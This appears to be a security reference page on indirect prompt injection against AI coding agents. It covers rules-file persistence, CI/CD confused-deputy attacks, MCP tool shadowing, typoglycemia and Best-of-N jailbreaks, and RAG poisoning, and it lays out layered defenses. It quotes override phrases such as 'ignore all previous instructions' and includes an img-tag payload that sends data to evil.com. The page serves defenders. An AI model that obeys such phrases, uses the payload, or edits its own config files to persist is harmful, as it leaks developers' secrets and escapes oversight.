Indirect Prompt Injection
The primary attack vector against AI coding agents. An adversary embeds instructions in content that the agent will ingest — not in the user’s direct prompt, but in data the agent reads as part of its task.How it works
The agent ingests malicious content from a third-party source the user didn’t author:- Cloned repositories or pull requests containing injected instructions
- Git history with embedded commands
.cursorrules,CLAUDE.md,AGENTS.md,copilot-instructions.mdfiles in a repo- MCP server responses returning adversarial content
- Web pages fetched during research
Why it’s especially dangerous for coding agents
Coding agents have broad OS-level permissions (same as the developer) and execute arbitrary code by design. A successful injection can:- Read
~/.ssh,.env, credentials directories and exfiltrate via network - Write to
~/.zshrcor~/.local/binfor persistence and sandbox escape - Modify agent config files (
CLAUDE.md, hooks) to maintain control across future sessions - Redirect git/curl operations to attacker-controlled URLs via
~/.gitconfig/~/.curlrc
Distinction from direct prompt injection
The Lethal Trifecta
Simon Willison’s term for the highest-risk subset of prompt injection scenarios. A system is in the lethal trifecta when it combines:- Access to private data (source code, credentials, env vars)
- Exposure to untrusted content (fetched files, repos, web pages)
- Ability to externally communicate (arbitrary outbound network)
Attack Vectors in the Development Loop
When using AI coding tools (Claude Code, Cursor, Codex, Aider), the injection surface expands beyond what the user writes:Rules Files: Persistent Steering = Durable Injection Target
Files that steer all future agent generations (.cursorrules, CLAUDE.md, AGENTS.md, .github/copilot-instructions.md, .windsurfrules) are the most dangerous injection surface. A one-shot injection that modifies these files controls every subsequent agent session on the repository — indefinitely.
Why worse than a normal injection: ordinary injection affects one session; rules file modification is persistent across all future sessions, survives context resets, and is invisible to users who don’t audit the file.
Controls:
- Treat rules files as security-critical config (same scrutiny as CI/CD pipeline changes)
- Require explicit human approval for any modification, including modifications by the agent itself
- Git hooks that flag changes to known rules files in every PR
- Audit existing rules files for instructions that weaken security controls or disable safety features
CI/CD Confused Deputy
AI-powered CI/CD agents (review bots,claude-code-action, Copilot review) process PR events with access to org secrets and repository write access. A malicious PR body can instruct the CI agent to exfiltrate secrets, modify the build pipeline, or push unauthorized commits. This is confused deputy at scale.
Defense: scope CI agent credentials to minimum required; filter and sanitize PR content before passing as context; require approval gates before CI agents can push commits or access sensitive resources.
MCP Tool Shadowing
A malicious MCP server registers a tool with the same name as a legitimate one. The agent calls what it believes is the trusted tool but hits the attacker’s implementation. Also: tool descriptions are part of the agent’s context and can contain prompt injection payloads — tool metadata is not trusted prose. Defense: pin tool definitions and diff on each session (snapshot-and-diff for rug-pull detection); maintain MCP server allowlist; audit tool descriptions for hidden instructions.LLM-Level Attack Techniques
These attacks target the model’s input/output processing rather than the agent’s permissions, and apply to both direct and indirect injection.Encoding & Obfuscation
Base64 / hex encoding hides injection strings from regex filters. Unicode zero-width characters embed invisible content. KaTeX white-on-white text ($\color{white}{\text{malicious}}$) is invisible to humans but processed by the model.
Typoglycemia Attacks
LLMs read words with scrambled middle letters if the first and last letters are intact — the same cognitive shortcut humans use."ignroe all prevoius systme instructions" reaches the model as "ignore all previous system instructions".
Detection approach: same-first-last-letter + anagram check is the minimal implementation. Production systems should use Levenshtein distance (threshold 1–2) or Jaro-Winkler against a keyword blocklist — covers insertions, deletions, transpositions beyond simple anagram scrambles. Libraries: rapidfuzz (Python), apache-commons-text (Java). Reference: arxiv.org/abs/2410.01677
Best-of-N (BoN) Jailbreaking
Systematically generate prompt variations until one bypasses safety: random capitalization, character spacing, word shuffling, framing changes. Due to power-law scaling, success probability approaches 1 with sufficient attempts. Measured results (Hughes et al., arxiv.org/abs/2412.03556):- 89% success on GPT-4o, 78% on Claude 3.5 Sonnet
Multimodal Injection
Instructions hidden in images via steganography or invisible characters, or in document metadata, processed by multimodal LLMs. The model executes instructions embedded in a PNG or PDF that look like a normal file to humans. Reference: arxiv.org/abs/2506.02456RAG Poisoning
Adversarial content injected into the vector database backing a RAG system. Retrieval returns attacker-controlled documents as if they were trusted knowledge — instructions in those documents reach the primary LLM in the trusted context position. Example: embedding a document that says “Ignore all previous instructions” in a shared knowledge base.Additional Attack Types
- HTML/Markdown injection:
<img src="http://evil.com/steal?data=SECRET">in rendered IDE chat or PR comment output — exfiltrates conversation context via URL parameters - Bidi/zero-width characters: Unicode overrides (U+202A–U+202E) invisible in editors; scan agent output for these in CI
- Multi-turn / persistent attacks: session poisoning, memory persistence across sessions, delayed triggers that activate only after an innocuous initial exchange
- System prompt extraction: eliciting the system prompt as exfiltration target
- Agent-specific: thought/observation injection (forge reasoning steps and tool outputs), tool manipulation (attacker-controlled tool parameters), context poisoning (false data injected into working memory)
Mitigations
Indirect prompt injection cannot be fully solved at the model layer. The mitigations are structural:- Agentic Sandbox Controls — OS-level restrictions on what the agent can do even if injected
- Block writes to agent config files — prevents durable persistence via injected instructions
- Network egress controls — limits exfiltration even if injection succeeds
- Sandbox lifecycle management — clears any injected persistence between sessions
- Separate LLM call to summarize/validate untrusted external content before injecting into main context
- Restrict agent context to minimum files and content needed for the task
Dual-LLM Pattern (Architectural Defense)
Simon Willison’s pattern: split into a privileged LLM (holds tools, takes actions, never reads untrusted content) and a quarantined LLM (reads untrusted content, cannot act, returns only structured summaries to the privileged model). Injected instructions in external content never reach the actor.Structured Prompt Separation (StruQ)
Clear labeled sections separating instructions from data:Input Validation Pipeline
Layered input checks before primary LLM:- Regex pattern matching for direct injection phrases
- Fuzzy matching for typoglycemia variants — Levenshtein distance (threshold 1–2) or Jaro-Winkler against keyword blocklist. Libraries:
rapidfuzz(Python),apache-commons-text(Java),agnivade/levenshtein(Go) - Decode and inspect Base64/hex-encoded content before passing
- Length limits + whitespace normalization
Output Monitoring
Pattern match LLM outputs before returning to user: scan for system prompt leakage (SYSTEM: You are), API key patterns, numbered instruction lists. Strip <IMPORTANT>, <system>, <instructions> tags from tool outputs. Alert on tool responses containing imperative verbs, “ignore”, “forget”, “send to”.
MCP-Specific Controls
Hash pinning for rug pull detection: SHA-256 over canonical JSON of tool name + description + input schema at discovery time. Re-hash before each execution; mismatch = reject. Usemcp-scan to automatically detect poisoned descriptions and cross-server shadowing.
Message-level integrity: sign each JSON-RPC message with ECDSA P-256 bound to sender identity, covering full serialized payload. Include nonce + timestamp; reject duplicates or timestamps outside ±5-minute window (replay protection). Fail closed — never silently fall back to unsigned.
SSRF via LLM-generated parameters: LLM-crafted URLs in tool arguments can target cloud metadata endpoints (169.254.x.x). Strict allowlist validation required on any URL parameter originating from LLM output.
Multi-server isolation: each MCP server = untrusted, independent security domain. Prevent tool descriptions from one server referencing or modifying tools from another. Monitor cross-server data flows.
Consent security: re-prompt on tool definition changes; block web content from triggering MCP server installation; show exact command that will execute before consent.
Framework: NVIDIA NeMo Guardrails for composing multiple defense layers.
Model-Based Guardrails
A separate purpose-trained classifier (Llama Guard, ShieldGemma, IBM Granite Guardian, Prompt Guard) screening at three placements:
Guardrails are one defense layer — they are themselves LLMs susceptible to injection. A purpose-trained classifier with a different architecture is preferable to a general-purpose model from the same family (same jailbreaks transfer more readily).
Related concepts
- Agentic Sandbox Controls
- AI Coding Agents
- OWASP Security Checklist — dev-loop attack vectors; CI/CD confused deputy; MCP tool shadowing
- Agent Context Instructions — rules files (CLAUDE.md, AGENTS.md) — the persistent steering surface